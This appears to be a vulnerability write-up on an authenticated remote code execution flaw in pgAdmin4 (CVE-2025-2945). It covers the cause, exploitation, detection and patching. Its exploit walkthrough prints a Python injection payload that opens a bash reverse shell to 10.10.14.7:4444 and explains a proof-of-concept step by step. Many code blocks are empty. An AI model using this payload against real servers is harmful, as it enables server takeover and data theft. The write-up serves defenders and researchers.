CVE-2025-2945

CVE-2025-2945: Authenticated Remote Code Execution in pgAdmin4

Executive Summary

CVE-2025-2945 is a critical authenticated Remote Code Execution (RCE) vulnerability affecting pgAdmin4 versions 8.10 through 9.1. This vulnerability allows authenticated users to execute arbitrary Python code on the server hosting pgAdmin4, leading to complete system compromise.

Severity: Critical CVSS Score: 8.8 (High) Attack Complexity: Low Privileges Required: Low (Valid credentials) User Interaction: None


What is pgAdmin4?

pgAdmin4 is the most popular open-source administration and management tool for PostgreSQL databases. It provides a web-based interface for database administrators to:

  • Execute SQL queries

  • Manage database objects

  • Monitor server performance

  • Import/export data

Given its widespread use in enterprise environments, vulnerabilities in pgAdmin4 can have significant security implications.


Vulnerability Overview

The Flaw

The vulnerability exists in pgAdmin4's Query Tool Download functionality. Specifically, the /sqleditor/query_tool/download/ endpoint improperly handles user input in the query_commited parameter.

Instead of treating this parameter strictly as a SQL query, the application processes it in a way that allows Python code injection and execution on the server.

Affected Versions

  • Vulnerable: pgAdmin4 versions 8.10 to 9.1

  • Fixed: pgAdmin4 version 9.2 and later

Prerequisites for Exploitation

  1. Valid credentials: The attacker must have legitimate access to pgAdmin4

  2. Database connection: Access to at least one configured database server

  3. Network access: Ability to reach the pgAdmin4 web interface


Technical Deep Dive

Root Cause Analysis

The vulnerability stems from unsafe handling of user-controlled input in the query download feature. Let's examine the vulnerable code flow:

Normal Flow (Expected Behavior)

Exploit Flow (Actual Behavior)

Why Does This Happen?

The root cause lies in how pgAdmin4 processes the query data:

  1. Unsafe Deserialization: The application deserializes user input without proper validation

  2. Template Injection: User-controlled data flows into a server-side template engine

  3. Lack of Sandboxing: Executed code runs with the same privileges as the pgAdmin4 process

  4. Insufficient Input Validation: No checks to ensure input is strictly SQL


Exploitation Walkthrough

Attack Chain

Here's how an attacker exploits this vulnerability:

Step 1: Authentication

Step 2: Session Initialization

Step 3: Payload Injection

Step 4: Code Execution

Example Exploit

Command:

Payload Breakdown:

  • __import__('os') - Dynamically imports Python's OS module

  • .system() - Executes system commands

  • bash -i - Spawns interactive bash shell

  • >& /dev/tcp/IP/PORT - Redirects shell to attacker's listener

  • 0>&1 - Redirects stdin to stdout

How the PoC Works (Line by Line)

Let me break down the exploit flow:

Step 1: Version Check

  • Fetches the login page and extracts the pgAdmin4 version from the HTML

  • Checks if version is between 8.10 and 9.1 (vulnerable range)

  • Uses regex to parse: ?ver=0910000 β†’ version 9.10

Step 2: Authentication

  • Why? pgAdmin uses CSRF tokens to prevent cross-site attacks

  • Scrapes the login page to extract the CSRF token from hidden input fields or JavaScript

  • This token must be included in all subsequent requests

  • Logs in with the provided credentials ([email protected])

  • Creates an authenticated session

  • This is required - the vulnerability is only exploitable by authenticated users

Step 3: Refresh CSRF Token & Set Header

  • After login, pgAdmin generates a new CSRF token

  • This token must be sent as a custom header (X-pgA-CSRFToken) in all API requests

Step 4: Find Valid Server ID

  • What's happening? pgAdmin manages multiple database servers, each with a unique ID

  • The exploit needs a valid server ID to interact with

  • It tries IDs 1-10 until it finds one that returns status: true

  • Why? The Query Tool needs to be associated with a database server

Step 5: Generate Random Transaction ID

  • trans_id = Transaction ID - uniquely identifies this SQL editor session

  • did = Database ID - identifies which database to connect to

  • These are randomly generated to avoid conflicts

Step 6: Initialize SQL Editor Session

  • Critical step! This creates a new Query Tool session

  • Sends database credentials (root / PsqLR00tpaSS11)

  • Authenticates to the PostgreSQL database

  • Without this, the exploit won't work because there's no active session

Step 7: Post to Panel Endpoint

  • This sets up the UI panel for the Query Tool

  • May return a 500 error but doesn't affect the exploit

  • The session is already initialized, so this is just UI setup

Step 8: THE EXPLOIT - Send Malicious Payload

This is where the magic happens!

  • Normal behavior: The download endpoint expects a SQL query like SELECT * FROM users

  • Exploit behavior: Instead of SQL, we send Python code

  • The query_commited parameter is unsafely processed by the server

  • The server executes: __import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"')

Breaking down the payload:

  • __import__('os') - Imports Python's os module (allows system commands)

  • .system() - Executes shell commands

  • bash -c "..." - Runs a bash command

  • bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 - Creates a reverse shell:

    • bash -i = Interactive bash shell

    • >& = Redirects stdout and stderr

    • /dev/tcp/10.10.14.7/4444 = Connects to your listener

    • 0>&1 = Redirects stdin

Step 9: Check Response

  • A 500 error is expected because the Python code executes but doesn't return valid query results

  • 200 response may also indicate success

  • Check your netcat listener for the reverse shell


Impact Assessment

What Can an Attacker Do?

Once code execution is achieved, an attacker can:

  1. Execute arbitrary commands with pgAdmin4 process privileges

  2. Access sensitive data stored in connected databases

  3. Pivot to other systems in the network

  4. Install backdoors for persistent access

  5. Steal credentials from configuration files

  6. Modify database contents leading to data integrity issues

  7. Launch attacks against other internal systems

Real-World Scenarios

Scenario 1: Data Breach

Scenario 2: Ransomware

Scenario 3: Supply Chain Attack


Detection and Indicators of Compromise

Log Indicators

Look for suspicious patterns in pgAdmin4 logs:

Network Indicators

Monitor for:

  • Unexpected outbound connections from pgAdmin4 server

  • Reverse shell traffic (persistent TCP connections to external IPs)

  • Data exfiltration (large data transfers to unknown destinations)

File System Indicators

Check for:

  • Modified configuration files (config_local.py, pgadmin4.db)

  • New user accounts in pgAdmin4 database

  • Suspicious Python files in pgAdmin4 directory

  • Web shells in upload directories


Mitigation and Remediation

Immediate Actions

  1. Upgrade pgAdmin4 to version 9.2 or later immediately

  2. Audit access logs for signs of exploitation

  3. Reset all passwords for pgAdmin4 users

  4. Review database logs for unauthorized queries

  5. Isolate compromised systems if exploitation is confirmed

Long-Term Security Measures

1. Network Segmentation

2. Access Controls

  • Implement Multi-Factor Authentication (MFA)

  • Use role-based access control (RBAC)

  • Apply principle of least privilege

  • Regularly review user permissions

3. Monitoring and Logging

4. Web Application Firewall (WAF)

Deploy WAF rules to block:

5. Runtime Protection

Consider application-level protections:

  • Input validation libraries

  • Content Security Policy (CSP) headers

  • Sandboxing for query execution

  • Rate limiting on API endpoints


Proof of Concept Code Structure

High-Level Exploit Flow

Key Exploit Components

Session Management:

Transaction Initialization:

Payload Delivery:


Vendor Response and Patch Analysis

Timeline

  • Discovery Date: Early 2025

  • Vendor Notification: Responsible disclosure

  • Patch Release: pgAdmin4 version 9.2

  • CVE Assignment: CVE-2025-2945

Patch Details

The fix implements multiple security controls:

  1. Input Validation

  1. Sanitization

  1. Sandboxing

  1. Content Type Enforcement


Recommendations for Organizations

For System Administrators

  • [ ] Update immediately to pgAdmin4 9.2 or later

  • [ ] Conduct security audit of all pgAdmin4 instances

  • [ ] Review access logs for past 90 days

  • [ ] Implement network segmentation for database tools

  • [ ] Enable comprehensive logging

  • [ ] Deploy intrusion detection systems (IDS)

For Security Teams

  • [ ] Perform threat hunting for indicators of compromise

  • [ ] Update incident response playbooks

  • [ ] Conduct security awareness training

  • [ ] Test backup and recovery procedures

  • [ ] Implement vulnerability scanning for web applications

For Developers

  • [ ] Never use eval() or exec() on user input

  • [ ] Implement input validation at multiple layers

  • [ ] Use parameterized queries for database operations

  • [ ] Apply principle of least privilege for service accounts

  • [ ] Conduct regular security code reviews


Testing for Vulnerability

Safe Detection Method

You can check if your instance is vulnerable without exploitation:

Using Nmap

Manual Version Check

  1. Access pgAdmin4 login page

  2. View page source (Ctrl+U)

  3. Search for ver= parameter

  4. Check against vulnerable range


Conclusion

CVE-2025-2945 represents a critical security vulnerability that demonstrates the ongoing challenges in securing web applications, particularly those with complex functionality like database management tools.

Key Takeaways

  1. Authenticated vulnerabilities are still critical - Don't assume authentication provides sufficient protection

  2. Input validation is paramount - Never trust user input, even from authenticated sources

  3. Defense in depth works - Multiple security layers can prevent exploitation

  4. Prompt patching is essential - Delay increases risk exponentially

The Bigger Picture

This vulnerability highlights several important security principles:

  • Trust boundaries matter - Even authenticated users can be malicious

  • Complexity breeds vulnerabilities - Feature-rich applications have larger attack surfaces

  • Server-side code execution is game over - RCE vulnerabilities are always critical

  • Security by design - Build security in from the start, not as an afterthought


References and Resources

Official Sources

  • pgAdmin4 Security Advisory: [pgAdmin Official Site]

  • CVE Details: CVE-2025-2945

  • Patch Notes: pgAdmin4 v9.2 Release Notes

Additional Reading

  • OWASP Top 10 - A03: Injection

  • CWE-94: Improper Control of Generation of Code

  • MITRE ATT&CK - T1059: Command and Scripting Interpreter

Tools for Testing

  • Burp Suite Professional

  • OWASP ZAP

  • SQLMap (for related SQL injection testing)


About the Author

This analysis was conducted as part of security research and responsible disclosure practices. The goal is to educate security professionals and system administrators about real-world vulnerabilities and effective mitigation strategies.

Disclaimer: This article is for educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing security vulnerabilities.


Last Updated: November 2025 Version: 1.0

Last updated